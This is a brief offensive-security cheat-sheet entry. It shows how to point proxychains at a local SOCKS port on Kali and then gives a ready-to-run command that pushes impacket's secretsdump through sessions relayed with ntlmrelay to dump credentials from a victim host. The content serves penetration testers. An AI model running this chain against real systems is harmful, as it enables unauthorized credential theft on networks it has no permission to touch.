proxychains
Configure proxy chains
For most offsec tooling, on your Kali box you'll want to open /etc/proxychains4.conf
and change the last line from socks4 127.0.0.1 9050
to 1080
like so:
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks4 127.0.0.1 1080
Running offsec tools through proxychains
If you've snagged some proxy connections using something like ntlmrelay, you can use proxychains to push tools like secretsdump through it:
sudo proxychains python3 /opt/impacket/examples/secretsdump.py DOMAINNAME/ACCOUNT:password-doesnt-matter-type-whatever-you-want-here@ip.of.proxy.victim